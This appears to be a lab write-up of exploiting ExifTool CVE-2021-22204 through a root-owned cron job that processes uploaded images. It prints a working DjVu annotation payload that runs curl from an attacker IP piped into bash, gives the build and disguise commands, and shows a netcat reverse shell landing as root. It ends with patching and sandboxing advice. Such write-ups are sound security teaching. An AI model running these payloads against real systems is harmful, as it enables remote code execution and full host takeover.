← Back to all writeups

CVE-2021-22204 — DjVu Metadata RCE via Cron

A file upload form that ran every image through ExifTool became a root shell, once I disguised a malicious DjVu file as a harmless .jpg.

cveexiftoolcronlinuxprivilege-escalation

Image metadata parsers are one of those components everyone trusts by default. Upload a photo, something extracts the EXIF data to auto-rotate it or pull a caption, and nobody thinks twice about the library doing that work. ExifTool has parsed metadata for practically everything with a file extension at some point — which is exactly why CVE-2021-22204 was such a good find. It didn’t need a bug in the application. It needed a bug in a library the application trusted blindly.


The Setup

I had a low-privilege foothold as www-data on a box running Subrion CMS, reachable through an authenticated file upload feature. Uploaded files landed in /var/www/html/subrion/uploads, and further enumeration turned up a scheduled task — running as root — that processed files in that directory with ExifTool, almost certainly to extract metadata or generate thumbnails automatically.

That’s the whole attack surface right there: a directory I could write to, and a root-owned process that would eventually read my files with a tool that had a known code execution bug.


Why ExifTool’s DjVu Handling Is Exploitable

CVE-2021-22204 lives in ExifTool’s handling of the DjVu image format, specifically in how it processes the metadata annotation chunk (ANTa/ANTz). ExifTool’s DjVu module evaluates certain stored metadata values through Perl in order to compute derived tag values — a feature meant for legitimate metadata transformations. Versions before 12.24 didn’t sufficiently sanitize the contents of that metadata before it reached Perl’s evaluation path, so a specially-crafted annotation string could smuggle arbitrary Perl code in alongside what looked like ordinary metadata, and have it executed the moment ExifTool parsed the file.

The trick that makes this practical is that DjVu doesn’t require a .djvu extension to be recognized — ExifTool identifies file types by content, not by name. That means the malicious file can be renamed to .jpg and still get parsed as DjVu the moment ExifTool inspects its actual bytes, which is exactly what lets it slip past an upload filter that only checks the file extension.


Exploitation

Step 1 — Craft the malicious metadata payload

$ cat exploit
(metadata "\c${system ('curl http://192.168.45.247:8080/exifExploit.sh | bash')};")

The payload smuggles a Perl-evaluated system() call inside what looks like a DjVu metadata field — the moment ExifTool evaluates this annotation, it runs curl ... | bash on the host doing the parsing.

Step 2 — Build the DjVu file and disguise it

$ djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=exploit
$ mv exploit.djvu exploit.jpg
$ file exploit.jpg
exploit.jpg: DjVu image or single page document

Terminal showing the exploit metadata file, djvumake building exploit.djvu, renaming it to exploit.jpg, and file confirming it's still identified as a DjVu image

djvumake assembles a minimal, valid DjVu container with the malicious annotation chunk embedded via ANTa=exploit. Renaming it to .jpg doesn’t change a single byte — file still correctly identifies it as a DjVu image by its magic bytes, confirming that any extension-based filter on the upload form would be fooled while ExifTool itself would not be.

Step 3 — Deliver the payload

I hosted both the crafted image and the reverse-shell payload script (exifExploit.sh) on my attacker box, then pulled the disguised image directly into the writable uploads directory:

www-data@exfiltrated:/var/www/html/subrion/uploads$ wget http://192.168.45.247:8080/exploit.jpg -O /var/www/html/subrion/uploads/exploit.jpg

Terminal showing wget downloading exploit.jpg into the Subrion uploads directory as www-data

Step 4 — Wait for the cron job

The root-owned scheduled task picked up the new file in the uploads directory and ran ExifTool against it as part of its normal processing. The moment ExifTool parsed the DjVu annotation chunk, the embedded Perl payload executed — as root — and pulled down exifExploit.sh from my listener, which fired back a reverse shell:

$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.45.247] from (UNKNOWN) [192.168.202.163] 36486
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

Netcat listener catching a reverse shell connection, with id confirming uid=0(root)

Root, via an image upload.


Why This Works

Three pieces line up to make this exploitable end-to-end:

  1. Content-based file type detection — ExifTool identifies DjVu files by their magic bytes, not their extension, so renaming the payload to .jpg defeats naive extension allowlisting on the upload form without breaking the exploit at all.
  2. Unsanitized metadata reaching Perl evaluation — ExifTool’s DjVu module computes some tag values by evaluating stored metadata as Perl, and versions before 12.24 didn’t adequately sanitize what could be smuggled into that evaluation.
  3. A root-owned automated consumer — none of this matters without something running ExifTool against attacker-controlled files with elevated privileges. The scheduled task that inspected uploads as root is what converts “arbitrary code execution in ExifTool” into “root shell on the box.”

The pattern generalizes: any pipeline that automatically runs an image/metadata parser against user-uploaded content — thumbnailing, auto-tagging, EXIF stripping for privacy — is a potential RCE vector if that parser has ever had a metadata-evaluation bug, and DjVu here was just the specific format ExifTool got wrong.


Root Cause

The target ran a version of ExifTool vulnerable to CVE-2021-22204, and combined it with a root-privileged scheduled task that processed user-uploaded files without sandboxing or privilege separation.

Fix: Patch ExifTool and isolate anything that parses untrusted uploads.

# Debian/Ubuntu
sudo apt update && sudo apt install --only-upgrade libimage-exiftool-perl

# Confirm the fixed version (12.24+)
exiftool -ver

Beyond patching, never run metadata extraction against untrusted uploads as root or any privileged account — route it through an unprivileged, sandboxed worker (a container or a dedicated low-privilege service account) so that a future parser bug doesn’t automatically become a privilege escalation path.


Key Takeaways

  • File type detection by magic bytes cuts both ways — it’s what lets a parser correctly handle disguised files, but it’s also what lets an attacker’s payload survive an extension-based upload filter untouched
  • Any automated pipeline that runs a metadata parser (ExifTool, ImageMagick, etc.) against user-uploaded content as a privileged user is a latent RCE-to-root chain waiting on the next parser CVE
  • djvumake is a legitimate DjVu authoring tool, and it’s enough on its own to build a working exploit for CVE-2021-22204 — no custom binary format tooling required
  • Patch metadata-handling libraries as aggressively as you’d patch anything internet-facing; they process attacker-controlled input by definition

Questions? Hit me up on X.